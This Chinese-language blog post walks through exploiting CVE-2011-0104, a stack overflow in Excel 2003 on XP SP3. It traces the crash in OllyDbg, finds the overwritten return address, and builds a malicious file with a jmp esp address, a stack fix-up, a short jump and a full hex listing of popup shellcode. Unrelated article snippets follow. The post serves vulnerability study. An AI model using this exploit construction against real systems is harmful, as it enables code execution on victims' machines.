漏洞分析丨cve20110104

news2024/9/29 3:19:27

作者丨黑蛋

目标程序

调试工具

16进制编辑器

XP SP3

office 2003

ollydbg

010Editor

三、漏洞验证

首先我们配置环境,并下载poc:

使用ollydbg附加office excel 2003:

打开poc

可以看到发生了访问违规异常,像地址0x51453844中写入时发生异常,证明漏洞是存在的。

四、漏洞复现

继续上述操作,到发生异常的时候,回到堆栈,然后转到EBP附近:

可以看到给EAX赋值EBP+2C的值,再向EAX中的地址写入时发生了异常。

接下来记下300CE361这个发生异常的地址,下断点,再自己随意创建一个文件:123.xlb,然后继续打开excel并用ollydbg附加,我们看看异常时候堆栈的正常情况是咋样的:

可以看到EBP这里是不一样的,然后我们在堆栈中对EBP+4的位置按回车:

可以看到这里就是关键函数,我们下断点(300CFACF),然后重新运行,打开poc:

可以看到断点断在了关键函数,

接下来我们顺带在0013AA90(此时EBP+4)处下内存写入断点,然后跑起来,第一次断在了一个拷贝代码处:

但是查看堆栈,这里并不是0013AA8C处,我们继续运行,同样停留在这个地方,而此时的堆栈已经在0013AA90附近:

我们在断点处上方shr ecx,2处下断点,然后重新运行,按照前面经验,我们需要断在第二次,然后观察:

可以看到拷贝数据是ESI指向的一坨,然后拷贝起始地址在0013AA3B,拷贝长度是300。我们记下这一坨,在poc中查找:

然后我们锁定堆栈,再走完拷贝代码,可以看到返回地址被修改,同时这块被篡改的数值是30424232,记录这个数据可以待会构造payload:

然后我们ctrl+f查找jmp esp:

接下来用010Editor打开poc,找找前面那坨拷贝数据:

接下来我们初步构造一下,把返回地址那里改成jmp esp地址(30018447),然后后面跟上我们的祖传弹窗shellcode,其他地方改成90909090:

弹窗shellcode:

FC 68 6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91 0C

8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32 53

68 75 73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C 8B

49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05 95

FF 57 F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59

20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3A

C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75

E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 03

2C BB 95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33 DB

53 68 66 66 66 66 68 66 66 66 66 8B C4 53 50 50

53 FF 57 FC 53 FF 57 F8

然后在shellcode结尾加4个90隔开:

接下来我们继续用excel打开改造后的xlb:

可以看到位置没有出错,我们执行到返回,发现并没有执行到跳板指令那里,我们继续执行到返回,然后再继续执行到返回,结果出现异常:

可以看到这里出现异常,所以我们需要修复堆栈,在EBP+2C的地址放一个可以写入的地址(0013AA7C),然后前面都是90909090,再加一个短跳跳到EBP+2C的位置,然后在EBP+2C+4的位置开始放入shellcode:

短跳(EB 12):

开始构造新的payload:

然后继续测试,可以看到这里没有发生异常:

到了jmp esp:

这里出了岔子,跳到了shellcode+4的位置,导致代码识别出错,我们需要把shellcode再往后挪一下:

这次成功了:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/398935.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【专项训练】分治、回溯

分治、回溯其实就是递归,只是是递归的一个细分,是一种特殊的递归 碰到一个题目,你就找他的重复性 最近重复性:根据重复性怎么构造以及如何分解,包括:分治、回溯 最优重复性:动态规划 本质:找重复性、分解问题、组合子问题的结果 回溯:试错! 50. Pow(x, n) https:…

sivalco使用测试pin正向导通

在学完功率半导体器件后,为了能够更好的了解功率半导体器件内部的相关性质,于是利用sivalco软件进行仿真,对于器件工作时相关数据进行分析,对于相关语句进行学习。 在功率半导体中以N或者P半导体进行掺杂获得我们所需要的器件&…

linux重置root用户密码

重置root密码 法一:rd.break 第 1 步:重启系统编辑内核参数 第 2 步:找到 linux 这行,在此行末尾空格后输入rd.break (End键也可直接进入行尾) 成功后显示页面为: 第 3 步:查看。…

华为HCIE学习之Openstack Cinder组件(cinder对接glusterfs)

文章目录一、MQ的作用二、cinder架构图三、各组件的作用四、cinder对接glusterfs一、MQ的作用 服务内各组件交互通过MQ进行 二、cinder架构图 IET,Linux用软件做存储,CNA识别过去就是IETTGT,物理存储,CNA识别过去就是TGT 三、…

十、FilterListenerAjax案例

1,Filter 1.1 Filter概述 Filter 表示过滤器,是 JavaWeb 三大组件(Servlet、Filter、Listener)之一。Servlet 我们之前都已经学习过了,Filter和Listener 我们今天都会进行学习。 过滤器可以把对资源的请求拦截下来,从而实现一些…

公司的代理怎么用

前一阵子用公司的服务器玩docker的时候,发现拉取不了远程镜像。咨询了一下网络管理员,说是非常时期,外网权限全部关闭。这严重阻碍了我的求知欲望。于是想到了使用代理。这里简单解释一下,很多大型公司为了确保网络安全&#xff0…

2-6 SpringCloud快速开发入门: Eureka 服务注册中心发现与消费服务

接上一章节向Eureka 服务注册中心注册服务,这里讲讲Eureka 服务注册中心发现与消费服务 Eureka 服务注册中心发现与消费服务 我们已经搭建一个服务注册中心,同时也向这个服务注册中心注册了服务,接下来我们就可以发现和消费服务了&#xff0…

图像分割(Unet算法学习笔记)

知识提要 数据集使用VOC2012 CNN 卷积神经网络Convolutional Neural Network GPU图像处理单元Graphic Processing Unit)图形处理器 convolution 卷积 ReLU全名Rectified Linear Unit,意思是修正线性单元 bn全称Batch Normalization批标准化 FC全连接神经网络是一种…

打怪升级之CFile类

CFile类 信息源自官方文档:https://learn.microsoft.com/zh-cn/cpp/mfc/reference/cfile-class?viewmsvc-170。 CFile是Microsoft 基础类文件类的基类。它直接提供非缓冲的二进制磁盘输入/输出设备,并直接地通过派生类支持文本文件和内存文件。CFile与…

第二天作业docker安装

目录 一Docker的简介、下载 二Docker的安装: 2.1 上传安装包:通过xftp直接将包拖拽到Linux里面即可 2.2 安装: 2.3 启动docker 2.4 配置Docker的镜像加速器: 2.5 刷新守护进程: 2.6 重启docker: 2.7 效验配置是否成功 …

三板斧解决leetcode的链表题

在《波奇学单链表》中我们提到单链表的两个特点单向性。头节点尾节点的特殊性导致分类讨论的情况。如何看单链表?让我们简化成下图cur表示当前节点,下图表示cur移动,圆圈表示值用哨兵卫节点(新的头节点)和把尾节点看成NULL来把头尾节点一般化…

spring的beanfactory与applicationContext的区别以及继承关系

applicationContext继承关系 首先可以看一张图 ListableBeanFactory 可列举的bean工厂 hierarchical 分层bean工厂 messageSource 国际化信息 //国际化(internationalization)是设计和…

1.2 绝对误差、相对误差与有效数字

1.2.1 绝对误差和绝对误差限若x*为准确值x的一个近似值,则称 x-x*为近似值x*的绝对误差,简称误差,并用e*(x)表示,即e*(x)x-x*绝对误差虽然能清楚地表明近似值,与准确值,之间的差异,但是在实际问题中,往往无法知道准确值…

2023年3月全国数据治理工程师认证DAMA-CDGA/CDGP考试怎么通过?

弘博创新是DAMA中国授权的数据治理人才培养基地,贴合市场需求定制教学体系,采用行业资深名师授课,理论与实践案例相结合,快速全面提升个人/企业数据治理专业知识与实践经验,通过考试还能获得数据专业领域证书。 DAMA认…

【ElasticSearch】(一)—— 初识ES

文章目录1. 了解ES1.1 elasticsearch的作用1.2 ELK技术栈1.3 elasticsearch和lucene1.4 为什么不是其他搜索技术?1.5 总结2. 倒排索引2.1 正向索引2.2 倒排索引2.3 正向和倒排3. ES的一些概念3.1 文档和字段3.2 索引和映射3.3 mysql与elasticsearch1. 了解ES Elasti…

TypeScript深度剖析:TypeScript 中高级类型的理解?有哪些?

一、是什么 除了string、number、boolean 这种基础类型外,在 typescript 类型声明中还存在一些高级的类型应用 这些高级类型,是typescript为了保证语言的灵活性,所使用的一些语言特性。这些特性有助于我们应对复杂多变的开发场景 二、有哪…

MQTT协议-发布消息(服务器向客户端发送)

MQTT协议-发布消息(服务器向客户端发送) 发布消息报文组成:https://blog.csdn.net/weixin_46251230/article/details/129414158 在了解了发布信息的PUBLISH报文后,就可以分析出阿里云服务器向本地客户端发送的报文数据了 实验前…

博客项目

文章目录1. 创建项目2. 数据库设计3. 前置任务3.1 拦截器3.2 统一数据格式3.3 创建一个 Constant3.4 统一异常处理3.5 密码加密4. 功能实现4.1 登录功能4.2 注册功能4.3 博客列表页 (功能实现)4.3.1 左侧框4.3.2 右侧框 (分页功能 页面显示)4.4 博客详情…

【Redis】搭建主从集群

目录 集群结构 准备实例和配置 启动 开启主从关系 测试 集群结构 我们搭建的主从集群结构如图: 共包含三个节点,一个主节点,两个从节点。 这里我们会在同一台虚拟机中开启3个redis实例,模拟主从集群,信息如下&…

51单片机DS18B20的使用

文章目录前言一、DS18B20介绍二、单总线协议三、DS18B20引脚说明四、DS18B20程序编写1.DS18B20复位函数2.DS18B20存在检测3.DS18B20读取一个bit和一个byte函数4.DS18B20写一个字节函数5.开始温度转换函数6.DS18B20初始化函数7.DS18B20读取温度函数五、代码测试总结前言 本篇文…